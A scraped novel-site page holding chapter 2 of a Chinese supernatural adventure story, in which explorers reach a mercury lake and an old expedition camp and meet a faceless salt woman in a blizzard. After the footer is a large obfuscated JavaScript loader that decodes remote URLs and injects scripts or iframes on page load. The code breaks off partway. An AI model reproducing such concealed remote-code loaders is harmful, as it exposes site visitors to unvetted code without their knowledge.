首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

2

    2(第1/2页)
    《冰穹之下·盐海图》
    第二章
    从雀儿山口往下走,越靠近盆地底部,空气里的味道就越重。
    孔武一开始还以为是自己鼻子出了问题。高原上风大,气味向来散得很快,但这股味道像是黏在空气里一样,甩都甩不掉。它不臭,也不算香,是一种很奇怪的、带着金属腥气的甜腻味,闻久了舌根发苦,太阳穴一跳一跳的。
    “是盐晶汞。“沈棠走在他旁边,声音压得很低,像是不想惊动什么,“盐壳底下渗出来的汞蒸气。浓度不高,但长时间吸入会损伤神经。你们有没有觉得嘴里发甜?“
    孔武舔了舔嘴唇。确实,舌尖上有一种奇怪的甜味,不是糖的那种甜,更像是咬了一口铜钱之后的那种金属味。
    “我爷爷说,盐壳下面不是石头,是一整片液态汞湖。“扎西顿珠走在最前面,一边走一边用一根长铁钎往地上戳,每走十几步就扎一下,听听声音,“盐壳厚度不一样。厚的能走牦牛,薄的踩上去就裂。我爷爷那批人,有三个人就是踩穿了盐壳掉下去的,连尸体都没捞上来。“
    孔武低头看脚下。他们现在已经走到了盆地边缘的缓坡上,脚下的地面从岩石变成了夹杂着盐粒的硬土,再往下就是纯白色的盐壳了。盐壳表面并不平整,而是像干涸的河床一样布满了龟裂纹,有的裂纹宽得能塞进一只脚,深不见底,里面透出那种暗红色的微光。
    “那种红光是什么?“孔武问。
    “不知道。“扎西顿珠摇了摇头,“爷爷说是地底的火,但地质队的人说是某种矿物质氧化。反正靠近了会头晕,不能久待。“
    三人沿着缓坡继续往下,用了将近两个小时才走到盐壳盆地的边缘。站在盐壳上往远处看,整个盆地一眼望不到头,白茫茫的一片,在午后接近垂直的高原阳光下反射出刺眼的白光,像是一片被冻住的海洋。远处的盐壳圣城就在盆地中央,那些尖顶在光线的折射下微微变形,看上去不像是固体,倒像是水面上晃动的倒影。
    “距离多远?“孔武眯起眼睛,右手搭在眉骨上挡光。
    “直线距离大概十五公里。“扎西顿珠从包里掏出一个老式军用望远镜,举到眼前看了看,“但盐壳上不能走直线。要绕着裂纹走,实际路程至少翻倍。按我们的速度,天黑之前到不了城里。“
    “那就先到风蚀湖。“沈棠说。
    她从包里掏出那块晶体板地图,在阳光下展开。暗红色的线条在光线中变得清晰了一些,孔武注意到那些线条并不是简单的直线,而是像河流一样有分支、有汇合,有的地方还打着圈,像是画地图的人自己也拿不准路线。
    “地图上标的第一站是风蚀湖。“沈棠用手指顺着其中一条线移动,“从这里往东南方向走,大概六公里。扎西,你爷爷说的那个营地,是不是在湖边?“
    “嗯。“扎西顿珠收起望远镜,“湖边有一圈旧帐篷的桩子,是五四年科考队留下的。爷爷说孔庆山就是在那个营地里画的地图。“
    孔武的心脏猛地跳了一下。
    他父亲画地图的地方。
    “走。“他说。
    盐壳上的行走比孔武想象的要艰难得多。
    表面上看,白色的盐壳像是坚硬的冰面,踩上去应该很稳。但实际上盐壳的质地非常不均匀,有的地方踩上去嘎吱作响,像走在薄冰上,每一步都得小心翼翼;有的地方又滑得像抹了油,孔武那条受过伤的左腿在这种路面上几乎使不上力,好几次差点滑倒,都是扎西顿珠眼疾手快一把拽住他的胳膊。
    更麻烦的是那些裂纹。盐壳上的裂纹纵横交错,有的只是表面的细缝,有的却深不见底,宽度足够一个人掉进去。每次遇到宽裂纹,扎西顿珠都要用铁钎探一探对岸的盐壳厚度,确认安全了才让大家过去。
    走了不到一个小时,孔武的后背就已经被汗浸透了。高原上气温零下十几度,但剧烈运动加上盐壳反射的阳光烤在身上,热量根本散不出去。他的膝盖又开始疼了,每走一步都像是有根针在骨头里搅。
    “歇一会儿吧。“沈棠停下来,从包里掏出水壶拧开,喝了一小口,然后把水壶递给孔武,“你腿不行,别硬撑。“
    孔武接过来喝了一口。水已经凉了,但他不在乎。他靠着一块凸起的盐岩坐下来,低头看自己的左腿。裤管下面,膝盖的位置已经肿了起来,隔着布料都能看出一圈不正常的隆起。
    “老山留下的?“沈棠在他旁边坐下。
    “嗯。“
    “疼得厉害?“
    “还行。“孔武撒了个谎。
    沈棠看了他一眼,没有拆穿,从包里翻出一管药膏,挤了一坨在手指上,“这是藏药,治跌打损伤的。脱了裤子。“
    孔武愣了一下。
    “裤子。膝盖那里肿了,隔着布料涂没用。“沈棠的语气很平静,像是医生在说一件再正常不过的事,“快点,风大,药膏会干。“
    孔武犹豫了两秒,还是把裤腿卷了上去。膝盖果然肿得厉害,皮肤被撑得发亮,泛着一种不健康的紫红色。
    沈棠把药膏涂上去。药膏凉丝丝的,刚接触皮肤的时候很舒服,但几秒钟之后就开始发热,像是有什么东西从毛孔钻进了关节里,热得发烫,但烫过之后疼痛确实减轻了一些。
    “扎西的爷爷教我配的。“沈棠说,“里面加了雪莲和藏红花,还有一味药引子——从盐壳上刮下来的白色结晶,用酥油炼过。爷爷说这东西能镇住盐壳里的阴气。“
    “你信?“
    “不信。“沈棠很诚实,“但药确实管用。“
    前面的扎西顿珠也坐了下来,他掏出一把小刀,从脚下的盐壳上削下一片薄薄的盐晶,举到阳光下看。盐晶是半透明的,里面有一些黑色的丝状物,像是什么东西的纤维。
    “孔武。“他突然开口,“你父亲是个什么样的人?“
    孔武想了想。
    “我没见过他。“他说,“我妈说他话不多,但做事很轴。认准了一件事,十头牛都拉不回来。“
    扎西顿珠点了点头,像是印证了什么。
    “爷爷也是这么说的。他说孔庆山在科考队里是最年轻的地质员,才二十三岁,但已经是副队长了。他懂岩石,懂水文,还懂藏文。爷爷说孔庆山是科考队里唯一一个跟当地喇嘛说过话的人,喇嘛告诉他一些关于盐壳圣城的事,别人都不信,只有他信了。“
    “什么事?“
    “喇嘛说,盐壳圣城不是死人的城,是活人的城。城里的人没有死,他们只是被'停'住了。像冬天河里的鱼,看上去不动了,但春天一来,就又活了。“
    孔武沉默了。他想起了地图上那个圆圈里的人形,那张空白的脸。
    “第六十日就是春天?“他问。
    “爷爷是这么说的。“扎西顿珠把那片盐晶收进一个小布袋里,“但爷爷也说,春天来了,不一定是好事。鱼是活了,但捕鱼的人也来了。“
    他说的“捕鱼的人“,孔武知道是什么意思。
    那些各怀鬼胎的“合作者“。
    沈棠之前跟他说过,他们这次进盆地,不是唯一的一支队伍。还有一拨人,打着“中科院联合考察“的旗号,从新疆那边进来了,领头的是一个姓黎的港商,据说背景很深。另外还有一拨境外的人,身份不明,但装备精良,卫星电话、GPS、甚至还有便携式钻探设备。
    “他们也在往风蚀湖走?“孔武问。
    “嗯。“扎西顿珠站起身,把刀收好,“但他们的路线比我们远。从新疆那边进来要多走两天,但装备好,有越野车能开到盐壳边缘。算时间,他们应该也快到了。“
    孔武也站了起来。膝盖上的药膏还在发热,疼痛确实减轻了不少,至少走路的时候不那么钻心了。
    “走吧。“他说,“赶在天黑之前到湖边。“
    下午四点多,天色开始变。高原上的天气说变就变,刚才还是大太阳,转眼间西边的天空就堆起了一片乌云,云层很低,压在盆地上空,像是要塌下来一样。
    风也变了方向。之前是从山口吹下来的冷风,现在变成了从盆地中央吹上来的热风,带着那股金属甜腻味更浓了,浓到几乎能尝到。
    “要变天。“扎西顿珠抬头看了看天,眉头皱了起来,“盐壳上不能遇暴风雪。一旦下雪,裂纹被盖住,分不清哪里能踩哪里不能踩,一步走错就是死。“
    “风蚀湖还有多远?“沈棠问。
    “两公里左右。“扎西顿珠指了指前方,“看到那个黑色的石头了吗?湖边有一圈火山岩,是古时候地热喷发留下的。风蚀湖就在那后面。“
    孔武顺着他指的方向看过去。在白茫茫的盐壳尽头,确实有一道黑线,像是地平线上的一道疤痕。两公里,以他们现在的速度,大概四十分钟能到。
    “抓紧时间。“扎西顿珠把背包背好,铁钎握在手里当登山杖用,加快了步伐。
    三人不再说话,埋头赶路。盐壳上的裂纹越来越密,有的地方几乎每隔几步就有一条,扎西顿珠的铁钎戳地声变得密集起来,“咚咚咚“的,在空旷的盆地里回荡。
    孔武的呼吸越来越重。海拔在六千米左右,氧气稀薄,每吸一口气都觉得不够用,胸口像压了一块石头。但他咬着牙跟上了节奏,左腿每落地一次就疼一次,但他把重心调整到右腿上,用一种奇怪的、一瘸一拐但速度不减的步态往前赶。
    又走了二十多分钟,前面的黑色石线越来越清晰了。那确实是一圈火山岩,黑色的玄武岩柱像一排牙齿一样从盐壳中突出来,有的高达两三米,有的只有半米高,参差不齐地围了一个半圆。
    绕过火山岩,风蚀湖出现在三人面前。
    孔武第一眼看到那个湖的时候,后脊梁上冒出了一层冷汗。
    那不是他想象中的湖。
    他想象中的湖应该是蓝色的,或者至少是灰色的,有水波,有涟漪,有那种湖泊特有的宁静感。但眼前的这个风蚀湖,完全不是那么回事。
    湖面不大,大概有一个足球场那么大,形状不规则,像是有人从地上挖走了一块。但湖里没有水。
    或者说,没有正常的水。
    湖底铺着一层暗银色的液体,平静无波,像一面巨大的镜子,倒映着头顶乌云密布的天空。那液体表面有一种奇怪的光泽,不是水的那种反光,而是像水银一样,厚重、粘稠,带着一种冷冰冰的金属质感。
    “那就是盐晶汞。“沈棠的声音有些发颤,“液态汞和盐晶的混合物。整个湖底都是这东西。“
    孔武蹲下身,从湖边捡起一块小石头,丢进湖里。
    石头落在那层暗银色液体表面,没有溅起水花,而是像掉进糖浆里一样,慢慢沉了下去。沉到大约半米深的地方,突然停住了,然后开始以一种极其缓慢的速度溶解,先是表面变得模糊,然后轮廓越来越淡,最后完全消失在液体中,连一点气泡都没有冒。
    “汞会溶解金属。“沈棠说,“但正常的水银不会溶解石头。这个湖里的东西,成分比水银复杂得多。我修复过的那块盐晶样本上,刻着象雄文,翻译过来大概是——'湖中无鱼,食忆为生'。“
    “食忆为生。“孔武重复了一遍这四个字,心里莫名地发毛。
    “爷爷说,掉进湖里的人,不是被淹死的。“扎西顿珠也蹲了下来,盯着湖面,“是被'吃'掉的。但吃的不是肉,是脑子里的东西。爷爷亲眼见过一个人掉进去,那人没有喊,没有挣扎,就站在湖里,面带微笑,然后慢慢沉下去。沉到脖子的时候,他突然开始说话,说的全是小时候的事,一件一件往外倒,像是有人在翻他的记忆。“
    孔武咽了一口唾沫。嘴里那股金属甜味更重了。
    “那后来呢?“
    “后来沉到头顶,就没了。什么都没留下。“
    三人沉默了一会儿。湖面平静如镜,暗银色的液体一动不动,像是在等待什么。
    “营地呢?“孔武问。
    (本章未完,请点击下一页继续阅读)2(第2/2页)
    “那边。“扎西顿珠指了指湖的东侧。
    湖边确实有一圈旧帐篷的痕迹。不是帐篷本身,因为帐篷早就烂没了,只剩下一些木桩和铁钉,半埋在盐壳里,还有几截生了厚厚红锈的汽油桶。孔武走过去,用脚踢了踢其中一根木桩。木桩已经朽了,一踢就碎了一块,露出里面黑色的朽木芯。
    “五四年留下的。“扎西顿珠说,“爷爷说科考队在这里扎营了十七天。第十七天晚上,孔庆山一个人带着地图走了,再也没有回来。“
    孔武在营地的痕迹中间慢慢走了一圈。地上散落着一些碎片——一个破了的搪瓷杯,杯子上还能看见“西藏科考“四个红字;几截铅笔头;一块已经看不出颜色的布片,可能是帐篷的碎片;还有一枚生了锈的地质锤头,木柄早就腐朽断了。
    他在那枚锤头旁边蹲了下来。
    锤头的侧面刻着一个字,刻得很深,被锈迹填了一半,但还能认出来——
    孔。
    孔武伸出手,指尖轻轻碰了碰那个字。
    三十二年的锈,三十二年的风沙,三十二年的盐晶侵蚀。这个字在这里等了三十二年,等一个叫孔武的人来。
    他把它捡起来。锤头很沉,锈迹粗糙地磨着他的指腹,那种触感让他鼻子一酸。
    “他在这里住了十七天。“沈棠走到他身后,声音很轻,“你父亲。他每天去湖边看,每天在帐篷里画地图。扎西的爷爷说,孔庆山那十七天几乎没有睡觉,每天都在写东西、画东西,眼睛里全是血丝。但他说他看见了。看见了城里的人。他说他们不是死的,他说他能听见他们在说话。“
    “说什么?“孔武没有回头。
    “他说——'他们在等第六十日。等一个人来。等一个姓孔的人来。'“
    孔武的手握紧了那把生锈的地质锤。
    天彻底黑下来的时候,暴风雪来了。
    第一片雪花落在孔武手背上的时候,他还没反应过来。等第二片、第三片跟着落下来的时候,他抬头一看,西边的乌云已经压到了头顶,风猛地变大了,从湖面方向吹过来,带着刺骨的寒意和那股金属甜腻味。
    “进帐篷!“扎西顿珠大喊一声,从背包里扯出帐篷往地上砸。
    三人手忙脚乱地把帐篷支起来。高原上的帐篷必须用地钉打得很深,否则风会直接把整个帐篷卷走。孔武用那把生锈的地质锤当锤子,一锤一锤把地钉砸进盐壳里,每砸一下左腿的膝盖就震一下,但他咬着牙没有停。
    帐篷刚支好,雪就下来了。不是那种温柔的飘雪,而是像有人从天上往下倒沙子一样,雪粒子又硬又密,打在帐篷布上发出噼里啪啦的响声,像是有人在拿石子砸。
    三人钻进帐篷里,把拉链拉到顶。帐篷里点了一盏汽灯,昏黄的光线照在三个人脸上,每个人的脸色都不太好看。
    “温度零下二十度以下。“扎西顿珠看了看温度计,“帐篷能撑一夜,但明天早上盐壳上会结冰,更滑。“
    沈棠从包里拿出那本笔记本,借着汽灯的光翻到一页手绘的草图。
    “我昨天晚上重新整理了一下我曾祖父日记里的内容。“她说,“关于九层盐塔的结构。他说盐塔不是从上往下建的,是从下往上。第一层在最下面,第九层在最上面。但每一层对应的不是高度,是时间。“
    “什么意思?“孔武凑过去看那张草图。
    草图很粗糙,但能看出来一座塔的轮廓,塔身分九层,每一层都画着不同的符号——第一层画的是一个人往下掉,第二层画的是水波纹,第三层是火焰,第四层是一把刀,第五层是一只眼睛,第六层是一张嘴,第七层是一双手,第八层是一个圆圈,第九层什么都没有,只是一片空白。
    “他说每一层困住的是不同时期的记忆。“沈棠指着那些符号,“掉下去的人不是摔死的,是被困在了自己过去的某个时刻里。溺水的人不是被水淹死的,是被自己最害怕的那段记忆淹死的。第七层的那双手——“
    她停了一下。
    “第七层是'相见'。进去的人会见到一个他这辈子最想见的人。但见了之后就走不出来了。“
    孔武盯着第七层上画的那双手。那双手画得很仔细,手指修长,指节分明,不像是一个快要淹死的人画的,倒像是小心翼翼地描出来的。
    “你曾祖父到过第七层?“
    “他说他到过。“沈棠的声音低了下去,“他说他在第七层见到了他的妻子。我曾祖母。她死的时候才二十五岁,难产。他说她站在那里,跟活着的时候一模一样,笑着叫他名字。他说他差一点就走过去了,但最后咬破了自己的舌头,疼得清醒过来,才没有踏进去。“
    帐篷外面风声呼啸,雪粒子打在帐篷上的声音越来越密,像是有无数细小的手指在挠帐篷布。
    孔武把那把生锈的地质锤放在枕头旁边,躺了下来。帐篷里很冷,三个人裹着睡袋还是觉得寒气往骨头里钻。汽灯的光线在帐篷壁上摇晃,把三个人的影子拉得又长又扭曲。
    他闭上眼睛,但睡不着。
    脑子里全是那个湖。那个暗银色的、平静的、像镜子一样的湖。湖底没有鱼,食忆为生。
    他想起扎西顿珠说的那个掉进湖里的人,面带微笑,慢慢沉下去,一边沉一边说着小时候的事。
    如果掉进去的是他,他会说什么?
    他想起了母亲。想起了后爹。想起了部队里的战友。想起了老山前线那个被他背下来的新兵蛋子,那孩子才十八岁,腿被打断了,趴在他背上哭,说班长我不想死。他想起来了,那孩子最后还是死了,死在他背上,血把他的军装后背全浸透了,温热的,然后慢慢变冷。
    他还想起了他从来没见过的父亲。
    他想,如果掉进那个湖里,他大概会说起这些。然后被吃掉。
    “孔武。“沈棠的声音从帐篷另一边传来,很轻,像是不想吵醒扎西顿珠。
    “嗯。“
    “你怕吗?“
    孔武睁开眼睛,看着头顶摇晃的汽灯光。
    “怕。“他说,“但怕也得去。“
    “为什么?“
    “因为我父亲在等。不是城里那些人等第六十日,是我父亲在等我。他在那个地图上刻了我的名字,他知道我会来。一个人如果知道自己儿子会来找他,他就不会真的死。他只是——停在那里,像城里那些人一样,等着。“
    沈棠沉默了很久。
    “如果第七层见到的是你父亲,“她说,“你会走过去吗?“
    孔武没有回答。
    帐篷外面的风突然变了调,不再是那种持续的呼啸,而是变成了一种断断续续的、像是什么东西在喘气的声音。一下,一下,又一下。
    扎西顿珠突然坐了起来,一把抓过手电筒,掀开帐篷的一角往外照。
    “有人在外面。“他说。
    孔武和沈棠也立刻坐了起来。孔武摸过那把五四式,拉开保险,悄无声息地挪到帐篷门口。
    扎西顿珠的手电光束在风雪中扫了一圈,雪下得太大了,能见度不超过五米。但手电光扫过帐篷左侧大约十米远的地方时,光束里出现了一个东西。
    不是人。
    是一行脚印。
    新鲜的脚印,踩在刚落了一层薄雪的盐壳上,脚印的边缘还很清晰,雪还没有把脚印填满。脚印不大,像是一个女人的脚,穿着某种软底鞋。
    但最让孔武头皮发麻的不是脚印本身,而是脚印的方向——
    脚印是从风蚀湖的方向走过来的。
    从湖里走出来的。
    “不是冰。“扎西顿珠压低了声音,“这雪下了不到半小时,脚印就是这半小时内踩上去的。这东西——或者这个人——是暴风雪来了之后从湖里出来的。“
    沈棠的手攥紧了帐篷里的汽灯,指关节都白了。
    “我爷爷说过一个传说。“扎西顿珠的声音在发抖,“盐壳圣城每隔六十年浮出的时候,会有'守门人'从城里出来,在第六十日之前巡视边界。守门人不是活人,也不是死人。他们是第一批被封进盐里的人,三千年前的事了。他们出来不是为了伤人,是为了——“
    “为了什么?“孔武问。
    “为了找替身。找到一个活人,代替他们守门,他们自己才能回去。“
    帐篷外面,风雪中传来一声轻响。
    像是有人在雪地上踩了一下。很轻,很近。就在帐篷外面三米左右。
    三人谁都没有动。孔武握着枪的手心全是汗,但他没有拉开帐篷拉链。沈棠把汽灯的光拧到了最小,帐篷里几乎陷入了黑暗。
    又一声轻响。这一次更近了,就在帐篷正门口。
    然后,帐篷外面响起了呼吸声。
    不是风声。是人的呼吸声。很轻,很慢,一下,又一下。伴随着呼吸声的,还有一种细微的、晶体摩擦的声音,像是有人穿着一身盐做的衣服在雪地里站着。
    孔武屏住呼吸,用左手慢慢拉开了帐篷拉链的一小截——刚好够他把枪口伸出去。
    风雪灌了进来,带着那股金属甜腻味。他眯起眼睛,顺着枪口的方向往外看。
    帐篷门口三米远的地方,站着一个东西。
    那是一个女人的轮廓。穿着一身白色的、像是盐结晶一样的东西,从头到脚都是白色的,在风雪中微微发光。她的脸看不清,低着头,长发垂下来,头发也是白色的,像是盐霜结在了上面。
    她没有动。就那么站着,在风雪中,呼吸着。
    然后她慢慢抬起了头。
    孔武的枪口对准了她的方向,但他的手指没有扣下扳机。
    因为那个女人抬起头之后,他看见了她的脸。
    不是一张恐怖的脸。不是什么青面獠牙的怪物。
    那是一张很普通的脸,中年女人的脸,眼角有皱纹,嘴唇很薄。但最让孔武浑身发冷的是——
    她的脸上没有五官。
    不是被毁了,不是被腐蚀了,而是根本没有。眼睛的位置是平的,鼻子的位置是平的,嘴巴的位置也是平的。一张完全光滑的、空白的脸。
    和地图上那个圆圈里的人形一模一样。
    空白的脸上,什么都没有。但她确实在呼吸,一下,一下,又一下。
    孔武的手指扣在扳机上,扣到第一道火了,但他没有继续扣下去。他不知道为什么,就是扣不下去。
    那个空白脸的女人站在风雪中,面对着帐篷门口的枪口,一动不动。
    然后她开口了。
    不是用嘴——因为她没有嘴。但声音确实从她那个方向传了过来,像是从很远的地方飘过来的,穿过风雪,穿过盐壳,穿过三千年时间,直接钻进孔武的脑子里——
    “第六十日……快了……“
    “你来了……“
    “他等你很久了……“
    声音不是汉语,也不是藏语,但孔武就是听懂了。每一个字都像是一把冰锥,直接扎进他的太阳穴里。
    然后那个女人转过身,一步一步走回了风雪中,脚印在雪地上留下了一行白色的痕迹,那痕迹不是雪,是盐。
    孔武保持着举枪的姿势,直到那个白色的身影完全消失在风雪里,才慢慢放下了枪。
    他的手在抖。
    帐篷里死一般的寂静。汽灯的光几乎熄灭了,只剩下一丝微弱的红亮。
    “她说了什么?“沈棠的声音在黑暗中颤抖。
    孔武把枪收回来,拉上拉链,靠在帐篷壁上,闭上眼睛。
    “她说——“他深吸了一口气,“'他等你很久了。'“
    帐篷外面,风雪依旧。但那个呼吸声已经消失了。
    盐壳圣城在十五公里之外,静静地浮在盆地中央,等着第六十日的到来。
    而第六十日,还有六天。

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 